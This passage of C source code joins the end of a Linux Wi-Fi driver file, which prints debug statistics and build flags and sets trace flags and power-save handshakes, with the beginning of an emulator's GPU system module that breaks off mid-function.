print_flag |= printe("oobaddexc", g_mem_stats.oobaddexc);
print_flag |= printe("freeaddexc", g_mem_stats.freeaddexc);
print_flag |= printe("invalidaddexc", g_mem_stats.invalidaddexc);
print_flag |= printe("excessaddexc", g_mem_stats.excessaddexc);
print_flag |= printe("nofreeDscrallocexc[0]", g_mem_stats.nofreeDscrallocexc[0]);
print_flag |= printe("nofreeDscrallocexc[1]", g_mem_stats.nofreeDscrallocexc[1]);
print_flag |= printe("nofreePktallocexc[0]", g_mem_stats.nofreePktallocexc[0]);
print_flag |= printe("nofreePktallocexc[1]", g_mem_stats.nofreePktallocexc[1]);
print_flag |= printe("nofreePktallocexc[2]", g_mem_stats.nofreePktallocexc[2]);
print_flag |= printe("nofreePktallocexc[3]", g_mem_stats.nofreePktallocexc[3]);
print_flag |= printe("nofreePktallocexc[4]", g_mem_stats.nofreePktallocexc[4]);
print_flag |= printe("nofreeLocalallocexc[0]", g_mem_stats.nofreeLocalallocexc[0]);
print_flag |= printe("nofreeLocalallocexc[1]", g_mem_stats.nofreeLocalallocexc[1]);
print_flag |= printe("nofreeLocalallocexc[2]", g_mem_stats.nofreeLocalallocexc[2]);
print_flag |= printe("nofreeLocalallocexc[3]", g_mem_stats.nofreeLocalallocexc[3]);
print_flag |= printe("nofreeLocalallocexc[4]", g_mem_stats.nofreeLocalallocexc[4]);
print_flag |= printe("nofreeLocalallocexc[5]", g_mem_stats.nofreeLocalallocexc[5]);
print_flag |= printe("nofreeLocalallocexc[6]", g_mem_stats.nofreeLocalallocexc[6]);
print_flag |= printe("nofreeLocalallocexc[7]", g_mem_stats.nofreeLocalallocexc[7]);
print_flag |= printe("nofreeEventallocexc", g_mem_stats.nofreeEventallocexc);
/* Print the size of the maximum Shared memory used and reset it after that */
PRINTK("Max Scratch Memory Utilized = %d", get_max_scratch_mem_usage());
reset_scratch_mem_usage();
#endif /* MEM_DEBUG_MODE */
return print_flag;
}
void print_debug_stats(void)
{
UWORD8 i = 0;
#ifdef MEM_DEBUG_MODE
PRINTK("Memory Statistics\n\r");
PRINTK("sdalloc = %d\n\r",g_mem_stats.sdalloc);
PRINTK("sdfree = %d\n\r",g_mem_stats.sdfree);
PRINTK("sdtotalfree = %d\n\r",g_mem_stats.sdtotalfree);
PRINTK("spalloc = %d\n\r",g_mem_stats.spalloc);
PRINTK("spfree = %d\n\r",g_mem_stats.spfree);
PRINTK("sptotalfree = %d\n\r",g_mem_stats.sptotalfree);
PRINTK("lalloc = %d\n\r",g_mem_stats.lalloc);
PRINTK("lfree = %d\n\r",g_mem_stats.lfree);
PRINTK("ltotalfree = %d\n\r",g_mem_stats.ltotalfree);
PRINTK("ealloc = %d\n\r",g_mem_stats.ealloc);
PRINTK("efree = %d\n\r",g_mem_stats.efree);
PRINTK("etotalfree = %d\n\r",g_mem_stats.etotalfree);
PRINTK("nosizeallocexc = %d\n\r",g_mem_stats.nosizeallocexc);
PRINTK("nofreeallocexc = %d\n\r",g_mem_stats.nofreeallocexc);
PRINTK("reallocexc = %d\n\r",g_mem_stats.reallocexc);
PRINTK("corruptallocexc = %d\n\r",g_mem_stats.corruptallocexc);
PRINTK("nullfreeexc = %d\n\r",g_mem_stats.nullfreeexc);
PRINTK("oobfreeexc = %d\n\r",g_mem_stats.oobfreeexc);
PRINTK("refreeexc = %d\n\r",g_mem_stats.refreeexc);
PRINTK("corruptfreeexc = %d\n\r",g_mem_stats.corruptfreeexc);
PRINTK("invalidfreeexc = %d\n\r",g_mem_stats.invalidfreeexc);
PRINTK("excessfreeexc = %d\n\r",g_mem_stats.excessfreeexc);
PRINTK("nulladdexc = %d\n\r",g_mem_stats.nulladdexc);
PRINTK("oobaddexc = %d\n\r",g_mem_stats.oobaddexc);
PRINTK("freeaddexc = %d\n\r",g_mem_stats.freeaddexc);
PRINTK("invalidaddexc = %d\n\r",g_mem_stats.invalidaddexc);
PRINTK("excessaddexc = %d\n\r",g_mem_stats.excessaddexc);
PRINTK("nofreeDscrallocexc[0] = %d\n\r",g_mem_stats.nofreeDscrallocexc[0]);
PRINTK("nofreeDscrallocexc[1] = %d\n\r",g_mem_stats.nofreeDscrallocexc[1]);
for(i = 0; i < 5; i++)
PRINTK("nofreePktallocexc[%d] = %d\n\r",i,
g_mem_stats.nofreePktallocexc[i]);
for(i = 0; i < 8; i++)
PRINTK("nofreeLocalallocexc[%d] = %d\n\r",i,
g_mem_stats.nofreeLocalallocexc[i]);
PRINTK("nofreeEventallocexc = %d\n\r",
g_mem_stats.nofreeEventallocexc);
#endif /* MEM_DEBUG_MODE */
PRINTK("\nMAC Statistics\n\r");
#ifndef MAC_HW_UNIT_TEST_MODE
PRINTK("itbtt = %d\n\r",g_mac_stats.itbtt);
PRINTK("itxc = %d\n\r",g_mac_stats.itxc);
PRINTK("irxc = %d\n\r",g_mac_stats.irxc);
PRINTK("ihprxc = %d\n\r",g_mac_stats.ihprxc);
PRINTK("ierr = %d\n\r",g_mac_stats.ierr);
PRINTK("ideauth = %d\n\r",g_mac_stats.ideauth);
PRINTK("icapend = %d\n\r",g_mac_stats.icapend);
PRINTK("enpmsdu = %d\n\r",g_mac_stats.enpmsdu);
PRINTK("erxqemp = %d\n\r",g_mac_stats.erxqemp);
PRINTK("etxsus1machang = %d\n\r",g_mac_stats.etxsus1machang);
PRINTK("etxsus1phyhang = %d\n\r",g_mac_stats.etxsus1phyhang);
PRINTK("etxsus3 = %d\n\r",g_mac_stats.etxsus3);
PRINTK("ebus = %d\n\r",g_mac_stats.ebus);
PRINTK("ebwrsig = %d\n\r",g_mac_stats.ebwrsig);
PRINTK("emsaddr = %d\n\r",g_mac_stats.emsaddr);
PRINTK("etxfifo = %d\n\r",g_mac_stats.etxfifo);
PRINTK("erxfifo = %d\n\r",g_mac_stats.erxfifo);
PRINTK("ehprxfifo = %d\n\r",g_mac_stats.ehprxfifo);
PRINTK("etxqempt = %d\n\r",g_mac_stats.etxqempt);
PRINTK("edmanoerr = %d\n\r",g_mac_stats.edmanoerr);
PRINTK("etxcenr = %d\n\r",g_mac_stats.etxcenr);
PRINTK("erxcenr = %d\n\r",g_mac_stats.erxcenr);
PRINTK("esgaf = %d\n\r",g_mac_stats.esgaf);
PRINTK("eother = %d\n\r",g_mac_stats.eother);
PRINTK("qatxp = %d\n\r",g_mac_stats.qatxp);
PRINTK("qdtxp = %d\n\r",g_mac_stats.qdtxp);
#else /* MAC_HW_UNIT_TEST_MODE */
PRINTK("rxci = %d\n\r",g_test_stats.rxci);
PRINTK("hprxci = %d\n\r",g_test_stats.hprxci);
PRINTK("txci = %d\n\r",g_test_stats.txci);
PRINTK("tbtti = %d\n\r",g_test_stats.tbtti);
PRINTK("erri = %d\n\r",g_test_stats.erri);
PRINTK("capei = %d\n\r",g_test_stats.capei);
PRINTK("uki = %d\n\r",g_test_stats.uki);
PRINTK("err.enpmsdu = %d\n\r",g_test_stats.exp.enpmsdu);
PRINTK("err.erxqemp = %d\n\r",g_test_stats.exp.erxqemp);
PRINTK("err.emsaddr = %d\n\r",g_test_stats.exp.emsaddr);
PRINTK("err.etxsus1machang = %d\n\r",g_test_stats.exp.etxsus1machang);
PRINTK("err.etxsus1phyhang = %d\n\r",g_test_stats.exp.etxsus1phyhang);
PRINTK("err.etxsus3 = %d\n\r",g_test_stats.exp.etxsus3);
PRINTK("err.ebus = %d\n\r",g_test_stats.exp.ebus);
PRINTK("err.ebwrsig = %d\n\r",g_test_stats.exp.ebwrsig);
PRINTK("err.etxqempt = %d\n\r",g_test_stats.exp.etxqempt);
PRINTK("err.edmanoerr = %d\n\r",g_test_stats.exp.edmanoerr);
PRINTK("err.etxcenr = %d\n\r",g_test_stats.exp.etxcenr);
PRINTK("err.erxcenr = %d\n\r",g_test_stats.exp.erxcenr);
PRINTK("err.esgaf = %d\n\r",g_test_stats.exp.esgaf);
PRINTK("err.etxfifo = %d\n\r",g_test_stats.exp.etxfifo);
PRINTK("err.erxfifo = %d\n\r",g_test_stats.exp.erxfifo);
PRINTK("err.eother = %d\n\r",g_test_stats.exp.eother);
#endif /* MAC_HW_UNIT_TEST_MODE */
}
void print_build_flags(void)
{
#ifdef ETHERNET_HOST
PRINTK("ETHERNET_HOST\n\r");
#endif /* ETHERNET_HOST */
#ifdef GENERIC_HOST
PRINTK("GENERIC_HOST\n\r");
#endif /* GENERIC_HOST */
#ifdef PHY_802_11n
PRINTK("PHY_802_11n\n\r");
#endif /* PHY_802_11n */
#ifdef GENERIC_PHY
PRINTK("GENERIC_PHY\n\r");
#endif /* GENERIC_PHY */
#ifdef ITTIAM_PHY
PRINTK("ITTIAM_PHY\n\r");
#endif /* ITTIAM_PHY */
#ifdef BSS_ACCESS_POINT_MODE
PRINTK("BSS_ACCESS_POINT_MODE\n\r");
#endif /* BSS_ACCESS_POINT_MODE */
#ifdef IBSS_BSS_STATION_MODE
PRINTK("IBSS_BSS_STATION_MODE\n\r");
#endif /* IBSS_BSS_STATION_MODE */
#ifdef MAC_HW_UNIT_TEST_MODE
PRINTK("MAC_HW_UNIT_TEST_MODE \n\r");
#endif /* MAC_HW_UNIT_TEST_MODE */
#ifdef MAC_802_11I
PRINTK("MAC_802_11I \n\r");
#endif /* MAC_802_11I */
#ifdef SUPP_11I
PRINTK("SUPP_11I \n\r");
#endif /* SUPP_11I */
#ifdef MAC_WMM
PRINTK("MAC_WMM \n\r");
#endif /* MAC_WMM */
#ifdef MAC_802_11N
PRINTK("MAC_802_11N \n\r");
#endif /* MAC_802_11N */
#ifdef MAC_802_1X
PRINTK("MAC_802_1X \n\r");
#endif /* MAC_802_1X */
#ifdef MAC_802_11H
PRINTK("MAC_802_11H \n\r");
#endif /* MAC_802_11H */
#ifdef GENERIC_RF
PRINTK("GENERIC_RF\n\r");
#endif /* GENERIC_RF */
#ifdef RF_MAXIM_ITTIAM
PRINTK("RF_MAXIM_ITTIAM \n\r");
#endif /* RF_MAXIM_ITTIAM */
// 20120709 caisf masked, merged ittiam mac v1.2 code
#if 0
#ifdef RF_AIROHA_ITTIAM
PRINTK("RF_AIROHA_ITTIAM \n\r");
#endif /* RF_AIROHA_ITTIAM */
#endif
#ifdef MAX2829
PRINTK("MAX2829 \n\r");
#endif /* MAX2829 */
// 20120709 caisf masked, merged ittiam mac v1.2 code
#if 0
#ifdef MAX2830_32
PRINTK("MAX2830_32 \n\r");
#endif /* MAX2830_32 */
#ifdef AL2236
PRINTK("AL2236 \n\r");
#endif /* AL2236 */
#ifdef AL7230
PRINTK("AL7230 \n\r");
#endif /* AL7230 */
#endif
#ifdef MWLAN
PRINTK("MWLAN \n\r");
#endif /* MWLAN */
#ifdef OS_LINUX_CSL_TYPE
PRINTK("OS_LINUX_CSL_TYPE \n\r");
#endif /* OS_LINUX_CSL_TYPE */
#ifdef DEBUG_MODE
PRINTK("DEBUG_MODE \n\r");
#endif /* DEBUG_MODE */
#ifdef USE_PROCESSOR_DMA
PRINTK("USE_PROCESSOR_DMA \n\r");
#endif /* USE_PROCESSOR_DMA */
#ifdef EDCA_DEMO_KLUDGE
PRINTK("EDCA_DEMO_KLUDGE \n\r");
#endif /* EDCA_DEMO_KLUDGE */
#ifdef LOCALMEM_TX_DSCR
PRINTK("LOCALMEM_TX_DSCR \n\r");
#endif /* LOCALMEM_TX_DSCR */
#ifdef AUTORATE_FEATURE
PRINTK("AUTORATE_FEATURE \n\r");
#endif /* AUTORATE_FEATURE */
#ifdef DISABLE_MACHW_DEFRAG
PRINTK("DISABLE_MACHW_DEFRAG \n\r");
#endif /* DISABLE_MACHW_DEFRAG */
#ifdef DISABLE_MACHW_DEAGGR
PRINTK("DISABLE_MACHW_DEAGGR \n\r");
#endif /* DISABLE_MACHW_DEAGGR */
#ifdef PHY_TEST_MAX_PKT_RX
PRINTK("PHY_TEST_MAX_PKT_RX \n\r");
#endif /* PHY_TEST_MAX_PKT_RX */
#ifdef DEFAULT_SME
PRINTK("DEFAULT_SME \n\r");
#endif /* DEFAULT_SME */
#ifdef NO_ACTION_RESET
PRINTK("NO_ACTION_RESET \n\r");
#endif /* NO_ACTION_RESET */
#ifdef LITTLE_ENDIAN
PRINTK("LITTLE_ENDIAN \n\r");
#endif /* LITTLE_ENDIAN */
#ifdef DSCR_MACROS_NOT_DEFINED
PRINTK("DSCR_MACROS_NOT_DEFINED \n\r");
#endif /* DSCR_MACROS_NOT_DEFINED */
#ifdef PHY_CONTINUOUS_TX_MODE
PRINTK("PHY_CONTINUOUS_TX_MODE \n\r");
#endif /* PHY_CONTINUOUS_TX_MODE */
#ifdef HANDLE_ERROR_INTR
PRINTK("HANDLE_ERROR_INTR \n\r");
#endif /* HANDLE_ERROR_INTR */
#ifdef MEM_DEBUG_MODE
PRINTK("MEM_DEBUG_MODE \n\r");
#endif /* MEM_DEBUG_MODE */
#ifdef MEM_STRUCT_SIZES_INIT
PRINTK("MEM_STRUCT_SIZES_INIT \n\r");
#endif /* MEM_STRUCT_SIZES_INIT */
#ifdef TX_ABORT_FEATURE
PRINTK("TX_ABORT_FEATURE \n\r");
#endif /* TX_ABORT_FEATURE */
}
#endif /* DEBUG_MODE */
/*chenq add itm trace*/
/*flag of ShareMemInfo*/
int g_debug_print_tx_pkt_on = 0;
int g_debug_print_rx_ptk_on = 0;
int g_debug_print_tx_buf_on = 0;
int g_debug_print_rx_buf_on = 0;
int g_debug_buf_use_info_start = 0;
/*flag of MacTxRxStatistics*/
int g_debug_txrx_reg_info_start = 0;
int g_debug_txrx_frame_info_start = 0;
int g_debug_rx_size_info_start = 0;
int g_debug_isr_info_start = 0;
/*flag of SpiSdioDmaState*/
int g_debug_print_spisdio_bus_on = 0;
int g_debug_print_dma_do_on = 0;
int g_debug_spisdiodma_isr_info_start = 0;
/*flag of MacFsmMibState*/
int g_debug_print_fsm_on = 0;
int g_debug_print_assoc_on = 0;
int g_debug_print_Enc_auth_on = 0;
int g_debug_print_wps_on = 0;
int g_debug_print_ps_on = 0;//PowerSave
int g_debug_print_wd_on = 0;//WiFi-Direct
int g_debug_print_txrx_path_on = 0;
/*flag of Host6820Info*/
//no add
void Reset_itm_trace_flag(void)
{
/*flag of ShareMemInfo*/
g_debug_print_tx_pkt_on = 0;
g_debug_print_rx_ptk_on = 0;
g_debug_print_tx_buf_on = 0;
g_debug_print_rx_buf_on = 0;
g_debug_buf_use_info_start = 0;
/*flag of MacTxRxStatistics*/
g_debug_txrx_reg_info_start = 0;
g_debug_txrx_frame_info_start = 0;
g_debug_rx_size_info_start = 0;
g_debug_isr_info_start = 0;
/*flag of SpiSdioDmaState*/
g_debug_print_spisdio_bus_on = 0;
g_debug_print_dma_do_on = 0;
g_debug_spisdiodma_isr_info_start = 0;
/*flag of MacFsmMibState*/
g_debug_print_fsm_on = 0;
g_debug_print_assoc_on = 0;
g_debug_print_Enc_auth_on = 0;
g_debug_print_wps_on = 0;
g_debug_print_ps_on = 0;//PowerSave
g_debug_print_wd_on = 0;//WiFi-Direct
g_debug_print_txrx_path_on = 0;
/*flag of Host6820Info*/
//no add
}
void ShareMemInfo(int type,int flag,int value,char * reserved2ext)
{
if(type == itm_debug_plog_sharemem_tx_pkt)
{
g_debug_print_tx_pkt_on = value;
}
else if(type == itm_debug_plog_sharemem_rx_ptk)
{
g_debug_print_rx_ptk_on = value;
}
else if(type == itm_debug_plog_sharemem_tx_buf)
{
g_debug_print_tx_buf_on = value;
}
else if(type == itm_debug_plog_sharemem_rx_buf)
{
g_debug_print_rx_buf_on = value;
}
else if(type == itm_debug_plog_sharemem_buf_use)
{
if(flag == counter_start)
{
g_debug_buf_use_info_start = counter_start;
}
else if( ( flag == counter_end ) && ( g_debug_buf_use_info_start == counter_end ) )
{
/*printk("already in counter_end stat\n");*/
}
else if( flag == counter_end )
{
g_debug_buf_use_info_start = counter_end;
}
}
}
void MacTxRxStatistics(int type,int flag,char * reserved2ext)
{
if(type == itm_debug_plog_mactxrx_reg)
{
if(flag == counter_start)
{
g_debug_txrx_reg_info_start = counter_start;
}
else if( ( flag == counter_end ) && ( g_debug_txrx_reg_info_start == counter_end ) )
{
/*printk("already in counter_end stat\n");*/
}
else if( flag == counter_end )
{
g_debug_txrx_reg_info_start = counter_end;
}
}
else if(type == itm_debug_plog_mactxrx_frame)
{
if(flag == counter_start)
{
g_debug_txrx_frame_info_start = counter_start;
}
else if( ( flag == counter_end ) && ( g_debug_txrx_frame_info_start == counter_end ) )
{
/*printk("already in counter_end stat\n");*/
}
else if( flag == counter_end )
{
g_debug_txrx_frame_info_start = counter_end;
}
}
else if(type == itm_debug_plog_mactxrx_rx_size)
{
if(flag == counter_start)
{
g_debug_rx_size_info_start = counter_start;
}
else if( ( flag == counter_end ) && ( g_debug_rx_size_info_start == counter_end ) )
{
/*printk("already in counter_end stat\n");*/
}
else if( flag == counter_end )
{
g_debug_rx_size_info_start = counter_end;
}
}
else if(type == itm_debug_plog_mactxrx_isr)
{
if(flag == counter_start)
{
g_debug_isr_info_start = counter_start;
}
else if( ( flag == counter_end ) && ( g_debug_isr_info_start == counter_end ) )
{
/*printk("already in counter_end stat\n");*/
}
else if( flag == counter_end )
{
g_debug_isr_info_start = counter_end;
}
}
}
void SpiSdioDmaState(int type,int flag,int value,char * reserved2ext)
{
if(type == itm_debug_plog_spisdiodma_spisdio)
{
g_debug_print_spisdio_bus_on = value;
}
else if(type == itm_debug_plog_spisdiodma_dma)
{
g_debug_print_dma_do_on = value;
}
else if(type == itm_debug_plog_spisdiodma_isr)
{
if(flag == counter_start)
{
g_debug_spisdiodma_isr_info_start = counter_start;
}
else if( ( flag == counter_end ) && ( g_debug_spisdiodma_isr_info_start == counter_end ) )
{
/*printk("already in counter_end stat\n");*/
}
else if( flag == counter_end )
{
g_debug_spisdiodma_isr_info_start = counter_end;
}
}
}
void MacFsmMibState(int type,int value,char * reserved2ext)
{
if(type == itm_debug_plog_macfsm_mib_fsm)
{
g_debug_print_fsm_on = value;
}
else if(type == itm_debug_plog_macfsm_mib_assoc)
{
g_debug_print_assoc_on = value;
}
else if(type == itm_debug_plog_macfsm_mib_Enc_auth)
{
g_debug_print_Enc_auth_on = value;
}
else if(type == itm_debug_plog_macfsm_mib_wps)
{
g_debug_print_wps_on = value;
}
else if(type == itm_debug_plog_macfsm_mib_ps)//PowerSave
{
g_debug_print_ps_on = value;//PowerSave
}
else if(type == itm_debug_plog_macfsm_mib_wd)//WiFi-Direct
{
g_debug_print_wd_on = value;//WiFi-Direct
}
else if(type == itm_debug_plog_macfsm_mib_txrx_path)
{
g_debug_print_txrx_path_on = value;
}
else if(type == itm_debug_plog_macfsm_mib_mibapp)
{
/*print ...*/
}
else if(type == itm_debug_plog_macfsm_mib_mibprtcl)
{
/*print ...*/
}
else if(type == itm_debug_plog_macfsm_mib_mibmac)
{
/*print ...*/
}
}
void Host6820Info(int type,char * reserved2ext)
{
}
/*chenq add end*/
#ifdef TROUT_WIFI_POWER_SLEEP_ENABLE
/*
* Notify co-processor to handle Power Management event
* through interrupt.
* Author: Keguang
* Date: 20130321
*/
inline void notify_cp_with_handshake(uint msg, uint retry)
{
uint i = retry;
uint count = host_read_trout_reg((UWORD32)rSYSREG_INFO1_FROM_ARM) + 1;
//#ifdef POWERSAVE_DEBUG
pr_info("rSYSREG_POWER_CTRL: %x\n", host_read_trout_reg((UWORD32)rSYSREG_POWER_CTRL));
//#endif
host_write_trout_reg((UWORD32)msg, (UWORD32)rSYSREG_HOST2ARM_INFO1); /*load message*/
host_write_trout_reg((UWORD32)0x1, (UWORD32)rSYSREG_GEN_ISR_2_ARM7); /*interrupt CP*/
/*pr_info("command done!\n");*/
/*wait for CP*/
while((host_read_trout_reg((UWORD32)rSYSREG_INFO1_FROM_ARM) != count) && i--) {
msleep(10);
//#ifdef POWERSAVE_DEBUG
pr_info("Done! rSYSREG_POWER_CTRL: %x\n", host_read_trout_reg((UWORD32)rSYSREG_POWER_CTRL));
//#endif
}
pr_info("!!! rSYSREG_POWER_CTRL: %x, retry %d, i %d\n", host_read_trout_reg((UWORD32)rSYSREG_POWER_CTRL), retry, i);
host_write_trout_reg(0x0, (UWORD32)rSYSREG_HOST2ARM_INFO1); /*clear message*/
if(msg == PS_MSG_WIFI_SUSPEND_MAGIC)
g_done_wifi_suspend = 1;
else if(msg == PS_MSG_WIFI_RESUME_MAGIC)
g_done_wifi_suspend = 0;
}
EXPORT_SYMBOL(notify_cp_with_handshake);
extern int prepare_null_frame_for_cp(UWORD8 psm, BOOL_T is_qos, UWORD8 priority);
void check_and_retransmit(void)
{
uint which_frame = 0;
uint sta = 0;
uint vs;
uint retry = 0;
unsigned char tmp[200];
uint *pw = (uint *)&tmp[0];
which_frame = root_host_read_trout_reg((UWORD32)rSYSREG_HOST2ARM_INFO1);
if(which_frame)
sta = BEACON_MEM_BEGIN;
else
sta = BEACON_MEM_BEGIN + 200;
root_host_read_trout_ram((void *)tmp, (void *)sta, TX_DSCR_LEN);
if(((tmp[3] >> 5) & 0x3) == 0x3){
goto retx;
}
if((tmp[20] & 0x3) != 0x3){
printk("SF0-CASUED\n");
goto retx;
}
/* arrive here, means the last frame ARM7 sent was success(AP acked) do nothing*/
return;
retx:
tmp[3] &= 0x9F;
tmp[3] |= 0x20;
tmp[20] &= 0xFC;
vs = root_host_read_trout_reg((UWORD32)rMAC_TSF_TIMER_LO);
vs = (vs >> 10) & 0xFFFF;
pw[3] &= 0xFFFF0000;
pw[3] |= vs;
printk("RE-TX\n");
root_host_write_trout_ram((void *)sta, (void *)tmp, TX_DSCR_LEN);
root_host_write_trout_reg((UWORD32)sta, (UWORD32)rMAC_EDCA_PRI_HP_Q_PTR);
msleep(20);
return;
}
/*for internal use only*/
inline void root_notify_cp_with_handshake(uint msg, uint retry)
{
uint i = retry;
uint count = root_host_read_trout_reg((UWORD32)rSYSREG_INFO1_FROM_ARM) + 1;
#ifdef POWERSAVE_DEBUG
pr_info("rSYSREG_POWER_CTRL: %x\n", root_host_read_trout_reg((UWORD32)rSYSREG_POWER_CTRL));
/*pr_info("command %x\n", msg);*/
#endif
root_host_write_trout_reg((UWORD32)msg, (UWORD32)rSYSREG_HOST2ARM_INFO1); /*load message*/
root_host_write_trout_reg((UWORD32)0x1, (UWORD32)rSYSREG_GEN_ISR_2_ARM7); /*interrupt CP*/
/*pr_info("command done!\n");*/
if((msg & 0xFFFF) == PS_MSG_ARM7_EBEA_KC_MAGIC){
printk("EBEA.......\n");
msleep(75);
check_and_retransmit();
}
/*wait for CP*/
while((root_host_read_trout_reg((UWORD32)rSYSREG_INFO1_FROM_ARM) != count) && i--) {
msleep(10);
#ifdef POWERSAVE_DEBUG
pr_info("Done! rSYSREG_POWER_CTRL: %x\n", root_host_read_trout_reg((UWORD32)rSYSREG_POWER_CTRL));
/*pr_info("expected %x, SYSREG_INFO1_FROM_ARM = %x\n", count, root_host_read_trout_reg((UWORD32)rSYSREG_INFO1_FROM_ARM));*/
#endif
}
pr_info("@@@ rSYSREG_POWER_CTRL: %x, retry %d, i %d\n", root_host_read_trout_reg((UWORD32)rSYSREG_POWER_CTRL), retry, i);
root_host_write_trout_reg(0x0, (UWORD32)rSYSREG_HOST2ARM_INFO1); /*clear message*/
if(msg == PS_MSG_WIFI_SUSPEND_MAGIC)
g_done_wifi_suspend = 1;
else if(msg == PS_MSG_WIFI_RESUME_MAGIC)
g_done_wifi_suspend = 0;
}
#endif
| abgoyal/zen_u105_kernel | drivers/net/wireless/trout/mac/src/Common/common.c | C | gpl-2.0 | 42,309 |
#include "stdafx.h"
#include "Emu/SysCalls/SysCalls.h"
#include "Emu/SysCalls/SC_FUNC.h"
#include "Emu/GS/GCM.h"
void cellGcmSys_init();
void cellGcmSys_load();
void cellGcmSys_unload();
Module cellGcmSys(0x0010, cellGcmSys_init, cellGcmSys_load, cellGcmSys_unload);
u32 local_size = 0;
u32 local_addr = 0;
enum
{
CELL_GCM_ERROR_FAILURE = 0x802100ff,
CELL_GCM_ERROR_NO_IO_PAGE_TABLE = 0x80210001,
CELL_GCM_ERROR_INVALID_ENUM = 0x80210002,
CELL_GCM_ERROR_INVALID_VALUE = 0x80210003,
CELL_GCM_ERROR_INVALID_ALIGNMENT = 0x80210004,
CELL_GCM_ERROR_ADDRESS_OVERWRAP = 0x80210005
};
// Function declaration
int cellGcmSetPrepareFlip(mem_ptr_t<CellGcmContextData> ctxt, u32 id);
//----------------------------------------------------------------------------
// Memory Mapping
//----------------------------------------------------------------------------
struct gcm_offset
{
u64 io;
u64 ea;
};
void InitOffsetTable();
int32_t cellGcmAddressToOffset(u64 address, mem32_t offset);
uint32_t cellGcmGetMaxIoMapSize();
void cellGcmGetOffsetTable(mem_ptr_t<gcm_offset> table);
int32_t cellGcmIoOffsetToAddress(u32 ioOffset, u64 address);
int32_t cellGcmMapEaIoAddress(const u32 ea, const u32 io, const u32 size);
int32_t cellGcmMapEaIoAddressWithFlags(const u32 ea, const u32 io, const u32 size, const u32 flags);
int32_t cellGcmMapMainMemory(u64 ea, u32 size, mem32_t offset);
int32_t cellGcmReserveIoMapSize(const u32 size);
int32_t cellGcmUnmapEaIoAddress(u64 ea);
int32_t cellGcmUnmapIoAddress(u64 io);
int32_t cellGcmUnreserveIoMapSize(u32 size);
//----------------------------------------------------------------------------
CellGcmConfig current_config;
CellGcmContextData current_context;
gcmInfo gcm_info;
u32 map_offset_addr = 0;
u32 map_offset_pos = 0;
//----------------------------------------------------------------------------
// Data Retrieval
//----------------------------------------------------------------------------
u32 cellGcmGetLabelAddress(u8 index)
{
cellGcmSys.Log("cellGcmGetLabelAddress(index=%d)", index);
return Memory.RSXCMDMem.GetStartAddr() + 0x10 * index;
}
u32 cellGcmGetReportDataAddressLocation(u8 location, u32 index)
{
ConLog.Warning("cellGcmGetReportDataAddressLocation(location=%d, index=%d)", location, index);
return Emu.GetGSManager().GetRender().m_report_main_addr;
}
u64 cellGcmGetTimeStamp(u32 index)
{
cellGcmSys.Log("cellGcmGetTimeStamp(index=%d)", index);
return Memory.Read64(Memory.RSXFBMem.GetStartAddr() + index * 0x10);
}
//----------------------------------------------------------------------------
// Command Buffer Control
//----------------------------------------------------------------------------
u32 cellGcmGetControlRegister()
{
cellGcmSys.Log("cellGcmGetControlRegister()");
return gcm_info.control_addr;
}
u32 cellGcmGetDefaultCommandWordSize()
{
cellGcmSys.Warning("cellGcmGetDefaultCommandWordSize()");
return 0x400;
}
u32 cellGcmGetDefaultSegmentWordSize()
{
cellGcmSys.Warning("cellGcmGetDefaultSegmentWordSize()");
return 0x100;
}
int cellGcmInitDefaultFifoMode(s32 mode)
{
cellGcmSys.Warning("cellGcmInitDefaultFifoMode(mode=%d)", mode);
return CELL_OK;
}
int cellGcmSetDefaultFifoSize(u32 bufferSize, u32 segmentSize)
{
cellGcmSys.Warning("cellGcmSetDefaultFifoSize(bufferSize=0x%x, segmentSize=0x%x)", bufferSize, segmentSize);
return CELL_OK;
}
//----------------------------------------------------------------------------
// Hardware Resource Management
//----------------------------------------------------------------------------
int cellGcmBindTile(u8 index)
{
cellGcmSys.Warning("cellGcmBindTile(index=%d)", index);
if (index >= RSXThread::m_tiles_count)
{
return CELL_GCM_ERROR_INVALID_VALUE;
}
auto& tile = Emu.GetGSManager().GetRender().m_tiles[index];
tile.m_binded = true;
return CELL_OK;
}
int cellGcmBindZcull(u8 index)
{
cellGcmSys.Warning("TODO: cellGcmBindZcull(index=%d)", index);
return CELL_OK;
}
int cellGcmGetConfiguration(mem_ptr_t<CellGcmConfig> config)
{
cellGcmSys.Log("cellGcmGetConfiguration(config_addr=0x%x)", config.GetAddr());
if (!config.IsGood()) return CELL_EFAULT;
*config = current_config;
return CELL_OK;
}
int cellGcmGetFlipStatus()
{
return Emu.GetGSManager().GetRender().m_flip_status;
}
u32 cellGcmGetTiledPitchSize(u32 size)
{
//TODO
cellGcmSys.Warning("cellGcmGetTiledPitchSize(size=%d)", size);
return size;
}
int cellGcmInit(u32 context_addr, u32 cmdSize, u32 ioSize, u32 ioAddress)
{
cellGcmSys.Warning("cellGcmInit(context_addr=0x%x,cmdSize=0x%x,ioSize=0x%x,ioAddress=0x%x)", context_addr, cmdSize, ioSize, ioAddress);
if(!cellGcmSys.IsLoaded())
cellGcmSys.Load();
if(!local_size && !local_addr)
{
local_size = 0xf900000; //TODO
local_addr = Memory.RSXFBMem.GetStartAddr();
Memory.RSXFBMem.AllocAlign(local_size);
}
cellGcmSys.Warning("*** local memory(addr=0x%x, size=0x%x)", local_addr, local_size);
InitOffsetTable();
Memory.MemoryBlocks.push_back(Memory.RSXIOMem.SetRange(0x50000000, 0x10000000/*256MB*/));//TODO: implement allocateAdressSpace in memoryBase
if(cellGcmMapEaIoAddress(ioAddress, 0, ioSize) != CELL_OK)
{
Memory.MemoryBlocks.pop_back();
return CELL_GCM_ERROR_FAILURE;
}
map_offset_addr = 0;
map_offset_pos = 0;
current_config.ioSize = ioSize;
current_config.ioAddress = ioAddress;
current_config.localSize = local_size;
current_config.localAddress = local_addr;
current_config.memoryFrequency = 650000000;
current_config.coreFrequency = 500000000;
Memory.RSXCMDMem.AllocAlign(cmdSize);
u32 ctx_begin = ioAddress/* + 0x1000*/;
u32 ctx_size = 0x6ffc;
current_context.begin = ctx_begin;
current_context.end = ctx_begin + ctx_size;
current_context.current = current_context.begin;
current_context.callback = Emu.GetRSXCallback() - 4;
gcm_info.context_addr = Memory.MainMem.AllocAlign(0x1000);
gcm_info.control_addr = gcm_info.context_addr + 0x40;
Memory.WriteData(gcm_info.context_addr, current_context);
Memory.Write32(context_addr, gcm_info.context_addr);
CellGcmControl& ctrl = (CellGcmControl&)Memory[gcm_info.control_addr];
ctrl.put = 0;
ctrl.get = 0;
ctrl.ref = -1;
auto& render = Emu.GetGSManager().GetRender();
